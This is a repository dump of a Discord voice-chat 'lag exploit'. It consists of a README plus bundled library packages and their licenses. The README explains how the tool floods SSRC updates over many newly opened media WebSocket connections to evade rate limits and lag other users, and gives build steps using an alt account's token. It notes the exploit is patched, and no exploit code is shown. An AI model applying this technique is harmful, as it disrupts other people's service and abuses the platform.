https://raw.githubusercontent.com/not-ilinked/VC-lag-exploit-v2/a4e311db1bd4b89709c3d754e4a31470ec35a1b0/LagExploit2/obj/Debug/MuteExploit2.pdb -------------------------------------------------------------------------------- /LagExploit2/packages.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Heads up! 2 | This exploit is already patched. I'm sorry i couldn't release it in time... 3 | 4 | # What's new? 5 | This exploit is actually a lot like the [old one](https://github.com/not-ilinked/VC-lag-exploit) in the sense that it still lags out other clients by sending massive amounts of [SSRC updates](https://datatracker.ietf.org/doc/html/rfc3550#section-5.1). 6 | The old one was patched because Discord added ratelimits to media WebSockets, however, as it turns out, this can easily be bypassed by just creating more WebSocket connections (session ID's and stuff are reusable, and for some reason everything gets reset). 7 | This alone works fine on smaller servers, but for bigger ones connecting to the WebSocket can take up to 700 ms, which is way too much. 8 | For that reason i made some modifications to Anarchy to let me create connections without authenticating right away (that would disconnect the old WebSocket). 9 | 10 | TL;DR the exploit continuously creates media WebSocket connections, authenticating and sending just the max amount of SSRC updates for each. 11 | 12 | ## How do i install it? 13 | Clone the repo, open the .sln file in Visual Studio (make sure you have .NET Framework 4.7 installed) and add a reference to Anarchy (clone that too). 14 | After building add the required [voice binaries](https://anarchyteam.dev/voice_binaries.zip) to bin/Debug or bin/Release, set your alt's token in Token.txt and run it! 15 | -------------------------------------------------------------------------------- /packages/Leaf.xNet.5.2.10/.signature.p7s: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/not-ilinked/VC-lag-exploit-v2/a4e311db1bd4b89709c3d754e4a31470ec35a1b0/packages/Leaf.xNet.5.2.10/.signature.p7s -------------------------------------------------------------------------------- /packages/Leaf.xNet.5.2.10/Leaf.xNet.5.2.10.nupkg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/not-ilinked/VC-lag-exploit-v2/a4e311db1bd4b89709c3d754e4a31470ec35a1b0/packages/Leaf.xNet.5.2.10/Leaf.xNet.5.2.10.nupkg -------------------------------------------------------------------------------- /packages/Leaf.xNet.5.2.10/icon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/not-ilinked/VC-lag-exploit-v2/a4e311db1bd4b89709c3d754e4a31470ec35a1b0/packages/Leaf.xNet.5.2.10/icon.png -------------------------------------------------------------------------------- /packages/Leaf.xNet.5.2.10/lib/net45/Leaf.xNet.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/not-ilinked/VC-lag-exploit-v2/a4e311db1bd4b89709c3d754e4a31470ec35a1b0/packages/Leaf.xNet.5.2.10/lib/net45/Leaf.xNet.dll -------------------------------------------------------------------------------- /packages/Leaf.xNet.5.2.10/lib/netstandard2.0/Leaf.xNet.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/not-ilinked/VC-lag-exploit-v2/a4e311db1bd4b89709c3d754e4a31470ec35a1b0/packages/Leaf.xNet.5.2.10/lib/netstandard2.0/Leaf.xNet.dll -------------------------------------------------------------------------------- /packages/Newtonsoft.Json.12.0.3/.signature.p7s: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/not-ilinked/VC-lag-exploit-v2/a4e311db1bd4b89709c3d754e4a31470ec35a1b0/packages/Newtonsoft.Json.12.0.3/.signature.p7s -------------------------------------------------------------------------------- /packages/Newtonsoft.Json.12.0.3/LICENSE.md: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | 3 | Copyright (c) 2007 James Newton-King 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy of 6 | this software and associated documentation files (the "Software"), to deal in 7 | the Software without restriction, including without limitation the rights to 8 | use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of 9 | the Software, and to permit persons to whom the Software is furnished to do so, 10 | subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS 17 | FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR 18 | COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER 19 | IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN 20 | CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 21 | -------------------------------------------------------------------------------- /packages/Newtonsoft.Json.12.0.3/Newtonsoft.Json.12.0.3.nupkg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/not-ilinked/VC-lag-exploit-v2/a4e311db1bd4b89709c3d754e4a31470ec35a1b0/packages/Newtonsoft.Json.12.0.3/Newtonsoft.Json.12.0.3.nupkg -------------------------------------------------------------------------------- /packages/Newtonsoft.Json.12.0.3/lib/net20/Newtonsoft.Json.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/not-ilinked/VC-lag-exploit-v2/a4e311db1bd4b89709c3d754e4a31470ec35a1b0/packages/Newtonsoft.Json.12.0.3/lib/net20/Newtonsoft.Json.dll -------------------------------------------------------------------------------- /packages/Newtonsoft.Json.12.0.3/lib/net35/Newtonsoft.Json.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/not-ilinked/VC-lag-exploit-v2/a4e311db1bd4b89709c3d754e4a31470ec35a1b0/packages/Newtonsoft.Json.12.0.3/lib/net35/Newtonsoft.Json.dll -------------------------------------------------------------------------------- /packages/Newtonsoft.Json.12.0.3/lib/net40/Newtonsoft.Json.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/not-ilinked/VC-lag-exploit-v2/a4e311db1bd4b89709c3d754e4a31470ec35a1b0/packages/Newtonsoft.Json.12.0.3/lib/net40/Newtonsoft.Json.dll -------------------------------------------------------------------------------- /packages/Newtonsoft.Json.12.0.3/lib/net45/Newtonsoft.Json.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/not-ilinked/VC-lag-exploit-v2/a4e311db1bd4b89709c3d754e4a31470ec35a1b0/packages/Newtonsoft.Json.12.0.3/lib/net45/Newtonsoft.Json.dll -------------------------------------------------------------------------------- /packages/Newtonsoft.Json.12.0.3/lib/netstandard1.0/Newtonsoft.Json.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/not-ilinked/VC-lag-exploit-v2/a4e311db1bd4b89709c3d754e4a31470ec35a1b0/packages/Newtonsoft.Json.12.0.3/lib/netstandard1.0/Newtonsoft.Json.dll -------------------------------------------------------------------------------- /packages/Newtonsoft.Json.12.0.3/lib/netstandard1.3/Newtonsoft.Json.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/not-ilinked/VC-lag-exploit-v2/a4e311db1bd4b89709c3d754e4a31470ec35a1b0/packages/Newtonsoft.Json.12.0.3/lib/netstandard1.3/Newtonsoft.Json.dll -------------------------------------------------------------------------------- /packages/Newtonsoft.Json.12.0.3/lib/netstandard2.0/Newtonsoft.Json.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/not-ilinked/VC-lag-exploit-v2/a4e311db1bd4b89709c3d754e4a31470ec35a1b0/packages/Newtonsoft.Json.12.0.3/lib/netstandard2.0/Newtonsoft.Json.dll -------------------------------------------------------------------------------- /packages/Newtonsoft.Json.12.0.3/lib/portable-net40+sl5+win8+wp8+wpa81/Newtonsoft.Json.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/not-ilinked/VC-lag-exploit-v2/a4e311db1bd4b89709c3d754e4a31470ec35a1b0/packages/Newtonsoft.Json.12.0.3/lib/portable-net40+sl5+win8+wp8+wpa81/Newtonsoft.Json.dll -------------------------------------------------------------------------------- /packages/Newtonsoft.Json.12.0.3/lib/portable-net45+win8+wp8+wpa81/Newtonsoft.Json.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/not-ilinked/VC-lag-exploit-v2/a4e311db1bd4b89709c3d754e4a31470ec35a1b0/packages/Newtonsoft.Json.12.0.3/lib/portable-net45+win8+wp8+wpa81/Newtonsoft.Json.dll -------------------------------------------------------------------------------- /packages/Newtonsoft.Json.12.0.3/packageIcon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/not-ilinked/VC-lag-exploit-v2/a4e311db1bd4b89709c3d754e4a31470ec35a1b0/packages/Newtonsoft.Json.12.0.3/packageIcon.png -------------------------------------------------------------------------------- /packages/Newtonsoft.Json.13.0.1/.signature.p7s: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/not-ilinked/VC-lag-exploit-v2/a4e311db1bd4b89709c3d754e4a31470ec35a1b0/packages/Newtonsoft.Json.13.0.1/.signature.p7s -------------------------------------------------------------------------------- /packages/Newtonsoft.Json.13.0.1/LICENSE.md: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | 3 | Copyright (c) 2007 James Newton-King 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy of 6 | this software and associated documentation files (the "Software"), to deal in 7 | the Software without restriction, including without limitation the rights to 8 | use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of 9 | the Software, and to permit persons to whom the Software is furnished to do so, 10 | subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS 17 | FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR 18 | COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER 19 | IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN 20 | CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 21 | -------------------------------------------------------------------------------- /packages/Newtonsoft.Json.13.0.1/Newtonsoft.Json.13.0.1.nupkg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/not-ilinked/VC-lag-exploit-v2/a4e311db1bd4b89709c3d754e4a31470ec35a1b0/packages/Newtonsoft.Json.13.0.1/Newtonsoft.Json.13.0.1.nupkg -------------------------------------------------------------------------------- /packages/Newtonsoft.Json.13.0.1/lib/net20/Newtonsoft.Json.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/not-ilinked/VC-lag-exploit-v2/a4e311db1bd4b89709c3d754e4a31470ec35a1b0/packages/Newtonsoft.Json.13.0.1/lib/net20/Newtonsoft.Json.dll -------------------------------------------------------------------------------- /packages/Newtonsoft.Json.13.0.1/lib/net35/Newtonsoft.Json.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/not-ilinked/VC-lag-exploit-v2/a4e311db1bd4b89709c3d754e4a31470ec35a1b0/packages/Newtonsoft.Json.13.0.1/lib/net35/Newtonsoft.Json.dll -------------------------------------------------------------------------------- /packages/Newtonsoft.Json.13.0.1/lib/net40/Newtonsoft.Json.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/not-ilinked/VC-lag-exploit-v2/a4e311db1bd4b89709c3d754e4a31470ec35a1b0/packages/Newtonsoft.Json.13.0.1/lib/net40/Newtonsoft.Json.dll -------------------------------------------------------------------------------- /packages/Newtonsoft.Json.13.0.1/lib/net45/Newtonsoft.Json.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/not-ilinked/VC-lag-exploit-v2/a4e311db1bd4b89709c3d754e4a31470ec35a1b0/packages/Newtonsoft.Json.13.0.1/lib/net45/Newtonsoft.Json.dll -------------------------------------------------------------------------------- /packages/Newtonsoft.Json.13.0.1/lib/netstandard1.0/Newtonsoft.Json.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/not-ilinked/VC-lag-exploit-v2/a4e311db1bd4b89709c3d754e4a31470ec35a1b0/packages/Newtonsoft.Json.13.0.1/lib/netstandard1.0/Newtonsoft.Json.dll -------------------------------------------------------------------------------- /packages/Newtonsoft.Json.13.0.1/lib/netstandard1.3/Newtonsoft.Json.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/not-ilinked/VC-lag-exploit-v2/a4e311db1bd4b89709c3d754e4a31470ec35a1b0/packages/Newtonsoft.Json.13.0.1/lib/netstandard1.3/Newtonsoft.Json.dll -------------------------------------------------------------------------------- /packages/Newtonsoft.Json.13.0.1/lib/netstandard2.0/Newtonsoft.Json.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/not-ilinked/VC-lag-exploit-v2/a4e311db1bd4b89709c3d754e4a31470ec35a1b0/packages/Newtonsoft.Json.13.0.1/lib/netstandard2.0/Newtonsoft.Json.dll -------------------------------------------------------------------------------- /packages/Newtonsoft.Json.13.0.1/packageIcon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/not-ilinked/VC-lag-exploit-v2/a4e311db1bd4b89709c3d754e4a31470ec35a1b0/packages/Newtonsoft.Json.13.0.1/packageIcon.png -------------------------------------------------------------------------------- /packages/better-websocket-sharp.1.0.2.1/.signature.p7s: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/not-ilinked/VC-lag-exploit-v2/a4e311db1bd4b89709c3d754e4a31470ec35a1b0/packages/better-websocket-sharp.1.0.2.1/.signature.p7s -------------------------------------------------------------------------------- /packages/better-websocket-sharp.1.0.2.1/better-websocket-sharp.1.0.2.1.nupkg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/not-ilinked/VC-lag-exploit-v2/a4e311db1bd4b89709c3d754e4a31470ec35a1b0/packages/better-websocket-sharp.1.0.2.1/better-websocket-sharp.1.0.2.1.nupkg -------------------------------------------------------------------------------- /packages/better-websocket-sharp.1.0.2.1/lib/net35/websocket-sharp.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/not-ilinked/VC-lag-exploit-v2/a4e311db1bd4b89709c3d754e4a31470ec35a1b0/packages/better-websocket-sharp.1.0.2.1/lib/net35/websocket-sharp.dll --------------------------------------------------------------------------------